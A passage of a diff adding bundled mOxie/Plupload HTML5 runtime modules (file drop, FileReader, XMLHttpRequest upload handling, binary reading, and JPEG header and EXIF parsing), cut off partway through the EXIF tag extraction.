+		function _readDirEntry(dirEntry, cb) {
+			var entries = [], dirReader = dirEntry.createReader();
+
+			// keep quering recursively till no more entries
+			function getEntries(cbcb) {
+				dirReader.readEntries(function(moreEntries) {
+					if (moreEntries.length) {
+						[].push.apply(entries, moreEntries);
+						getEntries(cbcb);
+					} else {
+						cbcb();
+					}
+				}, cbcb);
+			}
+
+			// ...and you thought FileReader was crazy...
+			getEntries(function() {
+				_readEntries(entries, cb);
+			}); 
+		}
+	}
+
+	return (extensions.FileDrop = FileDrop);
+});
+
+// Included from: src/javascript/runtime/html5/file/FileReader.js
+
+/**
+ * FileReader.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+/**
+@class moxie/runtime/html5/file/FileReader
+@private
+*/
+define("moxie/runtime/html5/file/FileReader", [
+	"moxie/runtime/html5/Runtime",
+	"moxie/core/utils/Encode",
+	"moxie/core/utils/Basic"
+], function(extensions, Encode, Basic) {
+	
+	function FileReader() {
+		var _fr, _convertToBinary = false;
+
+		Basic.extend(this, {
+
+			read: function(op, blob) {
+				var comp = this;
+
+				comp.result = '';
+
+				_fr = new window.FileReader();
+
+				_fr.addEventListener('progress', function(e) {
+					comp.trigger(e);
+				});
+
+				_fr.addEventListener('load', function(e) {
+					comp.result = _convertToBinary ? _toBinary(_fr.result) : _fr.result;
+					comp.trigger(e);
+				});
+
+				_fr.addEventListener('error', function(e) {
+					comp.trigger(e, _fr.error);
+				});
+
+				_fr.addEventListener('loadend', function(e) {
+					_fr = null;
+					comp.trigger(e);
+				});
+
+				if (Basic.typeOf(_fr[op]) === 'function') {
+					_convertToBinary = false;
+					_fr[op](blob.getSource());
+				} else if (op === 'readAsBinaryString') { // readAsBinaryString is depricated in general and never existed in IE10+
+					_convertToBinary = true;
+					_fr.readAsDataURL(blob.getSource());
+				}
+			},
+
+			abort: function() {
+				if (_fr) {
+					_fr.abort();
+				}
+			},
+
+			destroy: function() {
+				_fr = null;
+			}
+		});
+
+		function _toBinary(str) {
+			return Encode.atob(str.substring(str.indexOf('base64,') + 7));
+		}
+	}
+
+	return (extensions.FileReader = FileReader);
+});
+
+// Included from: src/javascript/runtime/html5/xhr/XMLHttpRequest.js
+
+/**
+ * XMLHttpRequest.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+/*global ActiveXObject:true */
+
+/**
+@class moxie/runtime/html5/xhr/XMLHttpRequest
+@private
+*/
+define("moxie/runtime/html5/xhr/XMLHttpRequest", [
+	"moxie/runtime/html5/Runtime",
+	"moxie/core/utils/Basic",
+	"moxie/core/utils/Mime",
+	"moxie/core/utils/Url",
+	"moxie/file/File",
+	"moxie/file/Blob",
+	"moxie/xhr/FormData",
+	"moxie/core/Exceptions",
+	"moxie/core/utils/Env"
+], function(extensions, Basic, Mime, Url, File, Blob, FormData, x, Env) {
+	
+	function XMLHttpRequest() {
+		var self = this
+		, _xhr
+		, _filename
+		;
+
+		Basic.extend(this, {
+			send: function(meta, data) {
+				var target = this
+				, isGecko2_5_6 = (Env.browser === 'Mozilla' && Env.verComp(Env.version, 4, '>=') && Env.verComp(Env.version, 7, '<'))
+				, isAndroidBrowser = Env.browser === 'Android Browser'
+				, mustSendAsBinary = false
+				;
+
+				// extract file name
+				_filename = meta.url.replace(/^.+?\/([\w\-\.]+)$/, '$1').toLowerCase();
+
+				_xhr = _getNativeXHR();
+				_xhr.open(meta.method, meta.url, meta.async, meta.user, meta.password);
+
+
+				// prepare data to be sent
+				if (data instanceof Blob) {
+					if (data.isDetached()) {
+						mustSendAsBinary = true;
+					}
+					data = data.getSource();
+				} else if (data instanceof FormData) {
+
+					if (data.hasBlob()) {
+						if (data.getBlob().isDetached()) {
+							data = _prepareMultipart.call(target, data); // _xhr must be instantiated and be in OPENED state
+							mustSendAsBinary = true;
+						} else if ((isGecko2_5_6 || isAndroidBrowser) && Basic.typeOf(data.getBlob().getSource()) === 'blob' && window.FileReader) {
+							// Gecko 2/5/6 can't send blob in FormData: https://bugzilla.mozilla.org/show_bug.cgi?id=649150
+							// Android browsers (default one and Dolphin) seem to have the same issue, see: #613
+							_preloadAndSend.call(target, meta, data);
+							return; // _preloadAndSend will reinvoke send() with transmutated FormData =%D
+						}	
+					}
+
+					// transfer fields to real FormData
+					if (data instanceof FormData) { // if still a FormData, e.g. not mangled by _prepareMultipart()
+						var fd = new window.FormData();
+						data.each(function(value, name) {
+							if (value instanceof Blob) {
+								fd.append(name, value.getSource());
+							} else {
+								fd.append(name, value);
+							}
+						});
+						data = fd;
+					}
+				}
+
+
+				// if XHR L2
+				if (_xhr.upload) {
+					if (meta.withCredentials) {
+						_xhr.withCredentials = true;
+					}
+
+					_xhr.addEventListener('load', function(e) {
+						target.trigger(e);
+					});
+
+					_xhr.addEventListener('error', function(e) {
+						target.trigger(e);
+					});
+
+					// additionally listen to progress events
+					_xhr.addEventListener('progress', function(e) {
+						target.trigger(e);
+					});
+
+					_xhr.upload.addEventListener('progress', function(e) {
+						target.trigger({
+							type: 'UploadProgress',
+							loaded: e.loaded,
+							total: e.total
+						});
+					});
+				// ... otherwise simulate XHR L2
+				} else {
+					_xhr.onreadystatechange = function onReadyStateChange() {
+						
+						// fake Level 2 events
+						switch (_xhr.readyState) {
+							
+							case 1: // XMLHttpRequest.OPENED
+								// readystatechanged is fired twice for OPENED state (in IE and Mozilla) - neu
+								break;
+							
+							// looks like HEADERS_RECEIVED (state 2) is not reported in Opera (or it's old versions) - neu
+							case 2: // XMLHttpRequest.HEADERS_RECEIVED
+								break;
+								
+							case 3: // XMLHttpRequest.LOADING 
+								// try to fire progress event for not XHR L2
+								var total, loaded;
+								
+								try {
+									if (Url.hasSameOrigin(meta.url)) { // Content-Length not accessible for cross-domain on some browsers
+										total = _xhr.getResponseHeader('Content-Length') || 0; // old Safari throws an exception here
+									}
+
+									if (_xhr.responseText) { // responseText was introduced in IE7
+										loaded = _xhr.responseText.length;
+									}
+								} catch(ex) {
+									total = loaded = 0;
+								}
+
+								target.trigger({
+									type: 'progress',
+									lengthComputable: !!total,
+									total: parseInt(total, 10),
+									loaded: loaded
+								});
+								break;
+								
+							case 4: // XMLHttpRequest.DONE
+								// release readystatechange handler (mostly for IE)
+								_xhr.onreadystatechange = function() {};
+
+								// usually status 0 is returned when server is unreachable, but FF also fails to status 0 for 408 timeout
+								if (_xhr.status === 0) {
+									target.trigger('error');
+								} else {
+									target.trigger('load');
+								}							
+								break;
+						}
+					};
+				}
+				
+
+				// set request headers
+				if (!Basic.isEmptyObj(meta.headers)) {
+					Basic.each(meta.headers, function(value, header) {
+						_xhr.setRequestHeader(header, value);
+					});
+				}
+
+				// request response type
+				if ("" !== meta.responseType && 'responseType' in _xhr) {
+					if ('json' === meta.responseType && !Env.can('return_response_type', 'json')) { // we can fake this one
+						_xhr.responseType = 'text';
+					} else {
+						_xhr.responseType = meta.responseType;
+					}
+				}
+
+				// send ...
+				if (!mustSendAsBinary) {
+					_xhr.send(data);
+				} else {
+					if (_xhr.sendAsBinary) { // Gecko
+						_xhr.sendAsBinary(data);
+					} else { // other browsers having support for typed arrays
+						(function() {
+							// mimic Gecko's sendAsBinary
+							var ui8a = new Uint8Array(data.length);
+							for (var i = 0; i < data.length; i++) {
+								ui8a[i] = (data.charCodeAt(i) & 0xff);
+							}
+							_xhr.send(ui8a.buffer);
+						}());
+					}
+				}
+
+				target.trigger('loadstart');
+			},
+
+			getStatus: function() {
+				// according to W3C spec it should return 0 for readyState < 3, but instead it throws an exception
+				try {
+					if (_xhr) {
+						return _xhr.status;
+					}
+				} catch(ex) {}
+				return 0;
+			},
+
+			getResponse: function(responseType) {
+				var I = this.getRuntime();
+
+				try {
+					switch (responseType) {
+						case 'blob':
+							var file = new File(I.uid, _xhr.response);
+							
+							// try to extract file name from content-disposition if possible (might be - not, if CORS for example)	
+							var disposition = _xhr.getResponseHeader('Content-Disposition');
+							if (disposition) {
+								// extract filename from response header if available
+								var match = disposition.match(/filename=([\'\"'])([^\1]+)\1/);
+								if (match) {
+									_filename = match[2];
+								}
+							}
+							file.name = _filename;
+
+							// pre-webkit Opera doesn't set type property on the blob response
+							if (!file.type) {
+								file.type = Mime.getFileMime(_filename);
+							}
+							return file;
+
+						case 'json':
+							if (!Env.can('return_response_type', 'json')) {
+								return _xhr.status === 200 && !!window.JSON ? JSON.parse(_xhr.responseText) : null;
+							}
+							return _xhr.response;
+
+						case 'document':
+							return _getDocument(_xhr);
+
+						default:
+							return _xhr.responseText !== '' ? _xhr.responseText : null; // against the specs, but for consistency across the runtimes
+					}
+				} catch(ex) {
+					return null;
+				}				
+			},
+
+			getAllResponseHeaders: function() {
+				try {
+					return _xhr.getAllResponseHeaders();
+				} catch(ex) {}
+				return '';
+			},
+
+			abort: function() {
+				if (_xhr) {
+					_xhr.abort();
+				}
+			},
+
+			destroy: function() {
+				self = _filename = null;
+			}
+		});
+
+
+		// here we go... ugly fix for ugly bug
+		function _preloadAndSend(meta, data) {
+			var target = this, blob, fr;
+				
+			// get original blob
+			blob = data.getBlob().getSource();
+			
+			// preload blob in memory to be sent as binary string
+			fr = new window.FileReader();
+			fr.onload = function() {
+				// overwrite original blob
+				data.append(data.getBlobName(), new Blob(null, {
+					type: blob.type,
+					data: fr.result
+				}));
+				// invoke send operation again
+				self.send.call(target, meta, data);
+			};
+			fr.readAsBinaryString(blob);
+		}
+
+		
+		function _getNativeXHR() {
+			if (window.XMLHttpRequest && !(Env.browser === 'IE' && Env.verComp(Env.version, 8, '<'))) { // IE7 has native XHR but it's buggy
+				return new window.XMLHttpRequest();
+			} else {
+				return (function() {
+					var progIDs = ['Msxml2.XMLHTTP.6.0', 'Microsoft.XMLHTTP']; // if 6.0 available, use it, otherwise failback to default 3.0
+					for (var i = 0; i < progIDs.length; i++) {
+						try {
+							return new ActiveXObject(progIDs[i]);
+						} catch (ex) {}
+					}
+				})();
+			}
+		}
+		
+		// @credits Sergey Ilinsky	(http://www.ilinsky.com/)
+		function _getDocument(xhr) {
+			var rXML = xhr.responseXML;
+			var rText = xhr.responseText;
+			
+			// Try parsing responseText (@see: http://www.ilinsky.com/articles/XMLHttpRequest/#bugs-ie-responseXML-content-type)
+			if (Env.browser === 'IE' && rText && rXML && !rXML.documentElement && /[^\/]+\/[^\+]+\+xml/.test(xhr.getResponseHeader("Content-Type"))) {
+				rXML = new window.ActiveXObject("Microsoft.XMLDOM");
+				rXML.async = false;
+				rXML.validateOnParse = false;
+				rXML.loadXML(rText);
+			}
+	
+			// Check if there is no error in document
+			if (rXML) {
+				if ((Env.browser === 'IE' && rXML.parseError !== 0) || !rXML.documentElement || rXML.documentElement.tagName === "parsererror") {
+					return null;
+				}
+			}
+			return rXML;
+		}
+
+
+		function _prepareMultipart(fd) {
+			var boundary = '----moxieboundary' + new Date().getTime()
+			, dashdash = '--'
+			, crlf = '\r\n'
+			, multipart = ''
+			, I = this.getRuntime()
+			;
+
+			if (!I.can('send_binary_string')) {
+				throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR);
+			}
+
+			_xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=' + boundary);
+
+			// append multipart parameters
+			fd.each(function(value, name) {
+				// Firefox 3.6 failed to convert multibyte characters to UTF-8 in sendAsBinary(), 
+				// so we try it here ourselves with: unescape(encodeURIComponent(value))
+				if (value instanceof Blob) {
+					// Build RFC2388 blob
+					multipart += dashdash + boundary + crlf +
+						'Content-Disposition: form-data; name="' + name + '"; filename="' + unescape(encodeURIComponent(value.name || 'blob')) + '"' + crlf +
+						'Content-Type: ' + (value.type || 'application/octet-stream') + crlf + crlf +
+						value.getSource() + crlf;
+				} else {
+					multipart += dashdash + boundary + crlf +
+						'Content-Disposition: form-data; name="' + name + '"' + crlf + crlf +
+						unescape(encodeURIComponent(value)) + crlf;
+				}
+			});
+
+			multipart += dashdash + boundary + dashdash + crlf;
+
+			return multipart;
+		}
+	}
+
+	return (extensions.XMLHttpRequest = XMLHttpRequest);
+});
+
+// Included from: src/javascript/runtime/html5/utils/BinaryReader.js
+
+/**
+ * BinaryReader.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+/**
+@class moxie/runtime/html5/utils/BinaryReader
+@private
+*/
+define("moxie/runtime/html5/utils/BinaryReader", [
+	"moxie/core/utils/Basic"
+], function(Basic) {
+
+	
+	function BinaryReader(data) {
+		if (data instanceof ArrayBuffer) {
+			ArrayBufferReader.apply(this, arguments);
+		} else {
+			UTF16StringReader.apply(this, arguments);
+		}
+	}
+	 
+
+	Basic.extend(BinaryReader.prototype, {
+		
+		littleEndian: false,
+
+
+		read: function(idx, size) {
+			var sum, mv, i;
+
+			if (idx + size > this.length()) {
+				throw new Error("You are trying to read outside the source boundaries.");
+			}
+			
+			mv = this.littleEndian 
+				? 0 
+				: -8 * (size - 1)
+			;
+
+			for (i = 0, sum = 0; i < size; i++) {
+				sum |= (this.readByteAt(idx + i) << Math.abs(mv + i*8));
+			}
+			return sum;
+		},
+
+
+		write: function(idx, num, size) {
+			var mv, i, str = '';
+
+			if (idx > this.length()) {
+				throw new Error("You are trying to write outside the source boundaries.");
+			}
+
+			mv = this.littleEndian 
+				? 0 
+				: -8 * (size - 1)
+			;
+
+			for (i = 0; i < size; i++) {
+				this.writeByteAt(idx + i, (num >> Math.abs(mv + i*8)) & 255);
+			}
+		},
+
+
+		BYTE: function(idx) {
+			return this.read(idx, 1);
+		},
+
+
+		SHORT: function(idx) {
+			return this.read(idx, 2);
+		},
+
+
+		LONG: function(idx) {
+			return this.read(idx, 4);
+		},
+
+
+		SLONG: function(idx) { // 2's complement notation
+			var num = this.read(idx, 4);
+			return (num > 2147483647 ? num - 4294967296 : num);
+		},
+
+
+		CHAR: function(idx) {
+			return String.fromCharCode(this.read(idx, 1));
+		},
+
+
+		STRING: function(idx, count) {
+			return this.asArray('CHAR', idx, count).join('');
+		},
+
+
+		asArray: function(type, idx, count) {
+			var values = [];
+
+			for (var i = 0; i < count; i++) {
+				values[i] = this[type](idx + i);
+			}
+			return values;
+		}
+	});
+
+
+	function ArrayBufferReader(data) {
+		var _dv = new DataView(data);
+
+		Basic.extend(this, {
+			
+			readByteAt: function(idx) {
+				return _dv.getUint8(idx);
+			},
+
+
+			writeByteAt: function(idx, value) {
+				_dv.setUint8(idx, value);
+			},
+			
+
+			SEGMENT: function(idx, size, value) {
+				switch (arguments.length) {
+					case 2:
+						return data.slice(idx, idx + size);
+
+					case 1:
+						return data.slice(idx);
+
+					case 3:
+						if (value === null) {
+							value = new ArrayBuffer();
+						}
+
+						if (value instanceof ArrayBuffer) {					
+							var arr = new Uint8Array(this.length() - size + value.byteLength);
+							if (idx > 0) {
+								arr.set(new Uint8Array(data.slice(0, idx)), 0);
+							}
+							arr.set(new Uint8Array(value), idx);
+							arr.set(new Uint8Array(data.slice(idx + size)), idx + value.byteLength);
+
+							this.clear();
+							data = arr.buffer;
+							_dv = new DataView(data);
+							break;
+						}
+
+					default: return data;
+				}
+			},
+
+
+			length: function() {
+				return data ? data.byteLength : 0;
+			},
+
+
+			clear: function() {
+				_dv = data = null;
+			}
+		});
+	}
+
+
+	function UTF16StringReader(data) {
+		Basic.extend(this, {
+			
+			readByteAt: function(idx) {
+				return data.charCodeAt(idx);
+			},
+
+
+			writeByteAt: function(idx, value) {
+				putstr(String.fromCharCode(value), idx, 1);
+			},
+
+
+			SEGMENT: function(idx, length, segment) {
+				switch (arguments.length) {
+					case 1:
+						return data.substr(idx);
+					case 2:
+						return data.substr(idx, length);
+					case 3:
+						putstr(segment !== null ? segment : '', idx, length);
+						break;
+					default: return data;
+				}
+			},
+
+
+			length: function() {
+				return data ? data.length : 0;
+			}, 
+
+			clear: function() {
+				data = null;
+			}
+		});
+
+
+		function putstr(segment, idx, length) {
+			length = arguments.length === 3 ? length : data.length - idx - 1;
+			data = data.substr(0, idx) + segment + data.substr(length + idx);
+		}
+	}
+
+
+	return BinaryReader;
+});
+
+// Included from: src/javascript/runtime/html5/image/JPEGHeaders.js
+
+/**
+ * JPEGHeaders.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+ 
+/**
+@class moxie/runtime/html5/image/JPEGHeaders
+@private
+*/
+define("moxie/runtime/html5/image/JPEGHeaders", [
+	"moxie/runtime/html5/utils/BinaryReader",
+	"moxie/core/Exceptions"
+], function(BinaryReader, x) {
+	
+	return function JPEGHeaders(data) {
+		var headers = [], _br, idx, marker, length = 0;
+
+		_br = new BinaryReader(data);
+
+		// Check if data is jpeg
+		if (_br.SHORT(0) !== 0xFFD8) {
+			_br.clear();
+			throw new x.ImageError(x.ImageError.WRONG_FORMAT);
+		}
+
+		idx = 2;
+
+		while (idx <= _br.length()) {
+			marker = _br.SHORT(idx);
+
+			// omit RST (restart) markers
+			if (marker >= 0xFFD0 && marker <= 0xFFD7) {
+				idx += 2;
+				continue;
+			}
+
+			// no headers allowed after SOS marker
+			if (marker === 0xFFDA || marker === 0xFFD9) {
+				break;
+			}
+
+			length = _br.SHORT(idx + 2) + 2;
+
+			// APPn marker detected
+			if (marker >= 0xFFE1 && marker <= 0xFFEF) {
+				headers.push({
+					hex: marker,
+					name: 'APP' + (marker & 0x000F),
+					start: idx,
+					length: length,
+					segment: _br.SEGMENT(idx, length)
+				});
+			}
+
+			idx += length;
+		}
+
+		_br.clear();
+
+		return {
+			headers: headers,
+
+			restore: function(data) {
+				var max, i, br;
+
+				br = new BinaryReader(data);
+
+				idx = br.SHORT(2) == 0xFFE0 ? 4 + br.SHORT(4) : 2;
+
+				for (i = 0, max = headers.length; i < max; i++) {
+					br.SEGMENT(idx, 0, headers[i].segment);
+					idx += headers[i].length;
+				}
+
+				data = br.SEGMENT();
+				br.clear();
+				return data;
+			},
+
+			strip: function(data) {
+				var br, headers, jpegHeaders, i;
+
+				jpegHeaders = new JPEGHeaders(data);
+				headers = jpegHeaders.headers;
+				jpegHeaders.purge();
+
+				br = new BinaryReader(data);
+
+				i = headers.length;
+				while (i--) {
+					br.SEGMENT(headers[i].start, headers[i].length, '');
+				}
+				
+				data = br.SEGMENT();
+				br.clear();
+				return data;
+			},
+
+			get: function(name) {
+				var array = [];
+
+				for (var i = 0, max = headers.length; i < max; i++) {
+					if (headers[i].name === name.toUpperCase()) {
+						array.push(headers[i].segment);
+					}
+				}
+				return array;
+			},
+
+			set: function(name, segment) {
+				var array = [], i, ii, max;
+
+				if (typeof(segment) === 'string') {
+					array.push(segment);
+				} else {
+					array = segment;
+				}
+
+				for (i = ii = 0, max = headers.length; i < max; i++) {
+					if (headers[i].name === name.toUpperCase()) {
+						headers[i].segment = array[ii];
+						headers[i].length = array[ii].length;
+						ii++;
+					}
+					if (ii >= array.length) {
+						break;
+					}
+				}
+			},
+
+			purge: function() {
+				this.headers = headers = [];
+			}
+		};
+	};
+});
+
+// Included from: src/javascript/runtime/html5/image/ExifParser.js
+
+/**
+ * ExifParser.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+/**
+@class moxie/runtime/html5/image/ExifParser
+@private
+*/
+define("moxie/runtime/html5/image/ExifParser", [
+	"moxie/core/utils/Basic",
+	"moxie/runtime/html5/utils/BinaryReader",
+	"moxie/core/Exceptions"
+], function(Basic, BinaryReader, x) {
+	
+	function ExifParser(data) {
+		var __super__, tags, tagDescs, offsets, idx, Tiff;
+		
+		BinaryReader.call(this, data);
+
+		tags = {
+			tiff: {
+				/*
+				The image orientation viewed in terms of rows and columns.
+
+				1 = The 0th row is at the visual top of the image, and the 0th column is the visual left-hand side.
+				2 = The 0th row is at the visual top of the image, and the 0th column is the visual right-hand side.
+				3 = The 0th row is at the visual bottom of the image, and the 0th column is the visual right-hand side.
+				4 = The 0th row is at the visual bottom of the image, and the 0th column is the visual left-hand side.
+				5 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual top.
+				6 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual top.
+				7 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual bottom.
+				8 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual bottom.
+				*/
+				0x0112: 'Orientation',
+				0x010E: 'ImageDescription',
+				0x010F: 'Make',
+				0x0110: 'Model',
+				0x0131: 'Software',
+				0x8769: 'ExifIFDPointer',
+				0x8825:	'GPSInfoIFDPointer'
+			},
+			exif: {
+				0x9000: 'ExifVersion',
+				0xA001: 'ColorSpace',
+				0xA002: 'PixelXDimension',
+				0xA003: 'PixelYDimension',
+				0x9003: 'DateTimeOriginal',
+				0x829A: 'ExposureTime',
+				0x829D: 'FNumber',
+				0x8827: 'ISOSpeedRatings',
+				0x9201: 'ShutterSpeedValue',
+				0x9202: 'ApertureValue'	,
+				0x9207: 'MeteringMode',
+				0x9208: 'LightSource',
+				0x9209: 'Flash',
+				0x920A: 'FocalLength',
+				0xA402: 'ExposureMode',
+				0xA403: 'WhiteBalance',
+				0xA406: 'SceneCaptureType',
+				0xA404: 'DigitalZoomRatio',
+				0xA408: 'Contrast',
+				0xA409: 'Saturation',
+				0xA40A: 'Sharpness'
+			},
+			gps: {
+				0x0000: 'GPSVersionID',
+				0x0001: 'GPSLatitudeRef',
+				0x0002: 'GPSLatitude',
+				0x0003: 'GPSLongitudeRef',
+				0x0004: 'GPSLongitude'
+			},
+
+			thumb: {
+				0x0201: 'JPEGInterchangeFormat',
+				0x0202: 'JPEGInterchangeFormatLength'
+			}
+		};
+
+		tagDescs = {
+			'ColorSpace': {
+				1: 'sRGB',
+				0: 'Uncalibrated'
+			},
+
+			'MeteringMode': {
+				0: 'Unknown',
+				1: 'Average',
+				2: 'CenterWeightedAverage',
+				3: 'Spot',
+				4: 'MultiSpot',
+				5: 'Pattern',
+				6: 'Partial',
+				255: 'Other'
+			},
+
+			'LightSource': {
+				1: 'Daylight',
+				2: 'Fliorescent',
+				3: 'Tungsten',
+				4: 'Flash',
+				9: 'Fine weather',
+				10: 'Cloudy weather',
+				11: 'Shade',
+				12: 'Daylight fluorescent (D 5700 - 7100K)',
+				13: 'Day white fluorescent (N 4600 -5400K)',
+				14: 'Cool white fluorescent (W 3900 - 4500K)',
+				15: 'White fluorescent (WW 3200 - 3700K)',
+				17: 'Standard light A',
+				18: 'Standard light B',
+				19: 'Standard light C',
+				20: 'D55',
+				21: 'D65',
+				22: 'D75',
+				23: 'D50',
+				24: 'ISO studio tungsten',
+				255: 'Other'
+			},
+
+			'Flash': {
+				0x0000: 'Flash did not fire',
+				0x0001: 'Flash fired',
+				0x0005: 'Strobe return light not detected',
+				0x0007: 'Strobe return light detected',
+				0x0009: 'Flash fired, compulsory flash mode',
+				0x000D: 'Flash fired, compulsory flash mode, return light not detected',
+				0x000F: 'Flash fired, compulsory flash mode, return light detected',
+				0x0010: 'Flash did not fire, compulsory flash mode',
+				0x0018: 'Flash did not fire, auto mode',
+				0x0019: 'Flash fired, auto mode',
+				0x001D: 'Flash fired, auto mode, return light not detected',
+				0x001F: 'Flash fired, auto mode, return light detected',
+				0x0020: 'No flash function',
+				0x0041: 'Flash fired, red-eye reduction mode',
+				0x0045: 'Flash fired, red-eye reduction mode, return light not detected',
+				0x0047: 'Flash fired, red-eye reduction mode, return light detected',
+				0x0049: 'Flash fired, compulsory flash mode, red-eye reduction mode',
+				0x004D: 'Flash fired, compulsory flash mode, red-eye reduction mode, return light not detected',
+				0x004F: 'Flash fired, compulsory flash mode, red-eye reduction mode, return light detected',
+				0x0059: 'Flash fired, auto mode, red-eye reduction mode',
+				0x005D: 'Flash fired, auto mode, return light not detected, red-eye reduction mode',
+				0x005F: 'Flash fired, auto mode, return light detected, red-eye reduction mode'
+			},
+
+			'ExposureMode': {
+				0: 'Auto exposure',
+				1: 'Manual exposure',
+				2: 'Auto bracket'
+			},
+
+			'WhiteBalance': {
+				0: 'Auto white balance',
+				1: 'Manual white balance'
+			},
+
+			'SceneCaptureType': {
+				0: 'Standard',
+				1: 'Landscape',
+				2: 'Portrait',
+				3: 'Night scene'
+			},
+
+			'Contrast': {
+				0: 'Normal',
+				1: 'Soft',
+				2: 'Hard'
+			},
+
+			'Saturation': {
+				0: 'Normal',
+				1: 'Low saturation',
+				2: 'High saturation'
+			},
+
+			'Sharpness': {
+				0: 'Normal',
+				1: 'Soft',
+				2: 'Hard'
+			},
+
+			// GPS related
+			'GPSLatitudeRef': {
+				N: 'North latitude',
+				S: 'South latitude'
+			},
+
+			'GPSLongitudeRef': {
+				E: 'East longitude',
+				W: 'West longitude'
+			}
+		};
+
+		offsets = {
+			tiffHeader: 10
+		};
+		
+		idx = offsets.tiffHeader;
+
+		__super__ = {
+			clear: this.clear
+		};
+
+		// Public functions
+		Basic.extend(this, {
+			
+			read: function() {
+				try {
+					return ExifParser.prototype.read.apply(this, arguments);
+				} catch (ex) {
+					throw new x.ImageError(x.ImageError.INVALID_META_ERR);
+				}
+			},
+
+
+			write: function() {
+				try {
+					return ExifParser.prototype.write.apply(this, arguments);
+				} catch (ex) {
+					throw new x.ImageError(x.ImageError.INVALID_META_ERR);
+				}
+			},
+
+
+			UNDEFINED: function() {
+				return this.BYTE.apply(this, arguments);
+			},
+
+
+			RATIONAL: function(idx) {
+				return this.LONG(idx) / this.LONG(idx + 4)
+			},
+
+
+			SRATIONAL: function(idx) {
+				return this.SLONG(idx) / this.SLONG(idx + 4)
+			},
+
+			ASCII: function(idx) {
+				return this.CHAR(idx);
+			},
+
+			TIFF: function() {
+				return Tiff || null;
+			},
+
+
+			EXIF: function() {
+				var Exif = null;
+
+				if (offsets.exifIFD) {
+					try {
+						Exif = extractTags.call(this, offsets.exifIFD, tags.exif);
+					} catch(ex) {
+						return null;
+					}
+
+					// Fix formatting of some tags
+					if (Exif.ExifVersion && Basic.typeOf(Exif.ExifVersion) === 'array') {
+						for (var i = 0, exifVersion = ''; i < Exif.ExifVersion.length; i++) {
+							exifVersion += String.fromCharCode(Exif.ExifVersion[i]);
+						}
+						Exif.ExifVersion = exifVersion;
+					}
+				}
+
+				return Exif;
+			},
+
+
+			GPS: function() {
+				var GPS = null;
+
+				if (offsets.gpsIFD) {
+					try {
+						GPS = extractTags.call(this, offsets.gpsIFD, tags.gps);
+					} catch (ex) {
+						return null;
+					}
+
+					// iOS devices (and probably some others) do not put in GPSVersionID tag (why?..)
+					if (GPS.GPSVersionID && Basic.typeOf(GPS.GPSVersionID) === 'array') {
+						GPS.GPSVersionID = GPS.GPSVersionID.join('.');
+					}
+				}
+
+				return GPS;
+			},
+
+
+			thumb: function() {
+				if (offsets.IFD1) {
+					try {
+						var IFD1Tags = extractTags.call(this, offsets.IFD1, tags.thumb);
+						
+						if ('JPEGInterchangeFormat' in IFD1Tags) {
+							return this.SEGMENT(offsets.tiffHeader + IFD1Tags.JPEGInterchangeFormat, IFD1Tags.JPEGInterchangeFormatLength);
+						}
+					} catch (ex) {}
+				}
+				return null;
+			},
+
+
+			setExif: function(tag, value) {
+				// Right now only setting of width/height is possible
+				if (tag !== 'PixelXDimension' && tag !== 'PixelYDimension') { return false; }
+
+				return setTag.call(this, 'exif', tag, value);
+			},
+
+
+			clear: function() {
+				__super__.clear();
+				data = tags = tagDescs = Tiff = offsets = __super__ = null;
+			}
+		});
+
+
+		// Check if that's APP1 and that it has EXIF
+		if (this.SHORT(0) !== 0xFFE1 || this.STRING(4, 5).toUpperCase() !== "EXIF\0") {
+			throw new x.ImageError(x.ImageError.INVALID_META_ERR);
+		}
+
+		// Set read order of multi-byte data
+		this.littleEndian = (this.SHORT(idx) == 0x4949);
+
+		// Check if always present bytes are indeed present
+		if (this.SHORT(idx+=2) !== 0x002A) {
+			throw new x.ImageError(x.ImageError.INVALID_META_ERR);
+		}
+
+		offsets.IFD0 = offsets.tiffHeader + this.LONG(idx += 2);
+		Tiff = extractTags.call(this, offsets.IFD0, tags.tiff);
+
+		if ('ExifIFDPointer' in Tiff) {
+			offsets.exifIFD = offsets.tiffHeader + Tiff.ExifIFDPointer;
+			delete Tiff.ExifIFDPointer;
+		}
+
+		if ('GPSInfoIFDPointer' in Tiff) {
+			offsets.gpsIFD = offsets.tiffHeader + Tiff.GPSInfoIFDPointer;
+			delete Tiff.GPSInfoIFDPointer;
+		}
+
+		if (Basic.isEmptyObj(Tiff)) {
+			Tiff = null;
+		}
+
+		// check if we have a thumb as well
+		var IFD1Offset = this.LONG(offsets.IFD0 + this.SHORT(offsets.IFD0) * 12 + 2);
+		if (IFD1Offset) {
+			offsets.IFD1 = offsets.tiffHeader + IFD1Offset;
+		}
+
+
+		function extractTags(IFD_offset, tags2extract) {
+			var data = this;
+			var length, i, tag, type, count, size, offset, value, values = [], hash = {};
+			
+			var types = {
+				1 : 'BYTE',
+				7 : 'UNDEFINED',
+				2 : 'ASCII',
+				3 : 'SHORT',
+				4 : 'LONG',
+				5 : 'RATIONAL',
+				9 : 'SLONG',
+				10: 'SRATIONAL'
+			};
+
+			var sizes = {
+				'BYTE' 		: 1,
+				'UNDEFINED'	: 1,
+				'ASCII'		: 1,
+				'SHORT'		: 2,
+				'LONG' 		: 4,
+				'RATIONAL' 	: 8,
+				'SLONG'		: 4,
+				'SRATIONAL'	: 8
+			};
+
+			length = data.SHORT(IFD_offset);
+
